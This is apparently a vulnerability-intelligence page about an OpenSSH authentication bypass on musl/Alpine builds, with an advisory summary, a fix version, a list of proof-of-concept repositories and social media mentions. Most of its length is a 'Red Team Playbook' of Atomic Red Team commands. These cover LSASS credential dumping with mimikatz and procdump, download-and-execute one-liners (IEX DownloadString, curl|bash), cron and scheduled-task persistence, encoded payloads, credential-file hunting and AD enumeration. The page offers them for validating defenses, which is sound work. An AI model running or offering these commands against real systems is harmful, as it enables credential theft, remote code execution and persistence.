CVE-2026-123158
Overview
This vulnerability is an authentication bypass in OpenSSH's sshd component affecting Linux builds that use musl libc without PAM. The root cause is a logic flaw in password hash interpretation, where sshd misclassifies certain password strings as valid hashes. This flaw occurs in the password authentication mechanism, specifically when processing passwords between 256 and 1024 characters long, allowing bypass of normal authentication checks under specific account configurations.
Vulnerability Description
sshd in OpenSSH before 10.6p2 on Linux, when musl libc is used without PAM, lacks a workaround for a password authentication bypass (related to misinterpretation of whether a string is intended to be a password hash). For some configurations of accounts, any password between 256 and 1024 characters succeeds. An example of a platform using musl libc without PAM is Alpine Linux.
Impact
An unauthenticated attacker can gain unauthorized access to user accounts on affected OpenSSH servers by supplying specially crafted long passwords, bypassing password authentication entirely. This requires no user interaction or valid credentials and allows attackers to log in as any user configured under vulnerable conditions. The consequence is a full compromise of user accounts, potentially enabling lateral movement, data exfiltration, or further system compromise on affected Linux systems using musl libc without PAM.
Solution
Upgrade OpenSSH to version 10.6p2 or later, which includes the fix addressing this authentication bypass. The vendor's release notes (https://www.openssh.org/releasenotes.html#10.6p2) and the official commit (https://github.com/openssh/openssh-portable/commit/4353fdc43ef646c43a8dda7025cc1a898caf1482) provide detailed patch information. Users of Alpine Linux and other musl libc without PAM environments should prioritize this update to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
rothoma2/cve-2026-123158-sshole
Scanner CVE-2026-123158 *SSHHole
|
rothoma2 | 1 | 0 | 2026-11-05 | View |
|
gabrielunknown/CVE-2026-123158_SSHole
CVE-2026-123158 SSHole — OpenSSH authentication bypass via musl crypt() overflow on Alpine Linux (Exploit PoC)
|
gabrielunknown | 1 | 0 | 2026-11-05 | View |
|
ersinkoc/sshole-check
Audit & interim mitigation for CVE-2026-123158 (*SSHole) — OpenSSH password bypass on musl/Alpine — across Docker contai...
|
ersinkoc | 1 | 0 | 2026-11-05 | View |
|
0xBlackash/CVE-2026-123158
CVE-2026-123158
|
0xBlackash | 1 | 0 | 2026-11-05 | View |
|
techtaek77/sshole-guide
OpenSSH sshole(CVE-2026-123158) 알파인 sshd 점검을 벨로키와 쉽게 보기
|
techtaek77 | 0 | 0 | 2026-11-06 | View |
|
akarkode/alpine-openssh-sshole-auth-bypass
Vulnerability research, PoC reproduction lab, and technical analysis for Alpine Linux OpenSSH authentication bypass (CVE...
|
akarkode | 0 | 0 | 2026-11-06 | View |
|
ansonhsu-ai/sshhole-cve-2026-123158-ste
|
ansonhsu-ai | 0 | 0 | 2026-11-06 | View |
|
coboliqcom/cve-2026-123158-sshole-safe-rust
|
coboliqcom | 0 | 0 | 2026-11-05 | View |
|
The-DevOps-Daily/alpine-sshd-check
Read-only check for CVE-2026-123158: is your Alpine sshd affected by the password authentication bypass, fixed, or still...
|
The-DevOps-Daily | 0 | 0 | 2026-11-05 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Generic
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (11)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
141 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
schtasks /create /TN "ProactiveScan" /TR "wscript.exe \"%APPDATA%\Microsoft\Chkdsk.js\" -scan Kdw6gG7cpOSZsBeH" /SC ONLOGON /F
Add-Type @'
using System;
using System.Diagnostics;
using System.IO;
public class TopinambourDropper {
public static void unpack_p(string sourceExe) {
string dropPath = Path.Combine(Environment.GetEnvironmentVariable("LOCALAPPDATA"), "VirtualStore", "certcheck.exe");
Directory.CreateDirectory(Path.GetDirectoryName(dropPath));
File.Copy(sourceExe, dropPath, true);
}
public static void make_some_noise() {
ProcessStartInfo startInfo = new ProcessStartInfo("cmd", "/c schtasks /create /SC MINUTE /MO 30 /TR %%localappdata%%\\VirtualStore\\certcheck.exe /TN VerifiedPublisherCertCheck /F")
{
CreateNoWindow = true,
UseShellExecute = false
};
Process.Start(startInfo).WaitForExit();
}
}
'@
[TopinambourDropper]::unpack_p("#{benign_exe}")
[TopinambourDropper]::make_some_noise()
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
94 mentions from 79 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @newssecia.bsky.social 2026-11-06 17:46 UTC🔍 Nouvel article : CVE-2026-123158 (*sshole) sshd musl sans PAM (Alpine) : un mot de passe de 257+ octets envoyé deux fois ouvre une session sur un compte hash « * ». CVSS 8.1, corrigé en 10.6p2. 📝 https://madpowah.github.io/2026/11/06/cve…Open source
-
social infosec.exchange @cloud 2026-11-06 17:46 UTC🔍 Nouvel article : CVE-2026-123158 (*sshole) — bypass d'authentification OpenSSH sur musl Sur un sshd compilé avec musl et sans PAM (le cas par défaut d'Alpine), un mot de passe de 257 octets ou plus envoyé deux fois sur la même connexion…Open source
-
social bsky.app @axnews.bsky.social 2026-11-06 17:33 UTC🚨 Breaking: CVE-2026-123158 — High 8.1 Impacted if: OpenBSD OpenSSH < 10.6p2 over the network · no login https://ax-news.com/cve/CVE-2026-123158 #CVE #infosecOpen source
-
social infosec.exchange @117509315927375519 2026-11-06 17:33 UTC🚨 Breaking: CVE-2026-123158 — High 8.1 Impacted if: OpenBSD OpenSSH < 10.6p2 over the network · no login https:// ax-news.com/cve/CVE-2026-123158 # CVE # infosecOpen source
-
social bsky.app @newssecia.bsky.social 2026-11-06 17:10 UTC🤖 CVE-2026-123158 (CVSS 8.1) SSHole: OpenSSH on musl libc without PAM (Alpine default). Oversized password = unauthenticated login to accounts with no usable password. Fixed in 10.6p2; exploited in hours. https://thehackernews.com/2026/11/…Open source
-
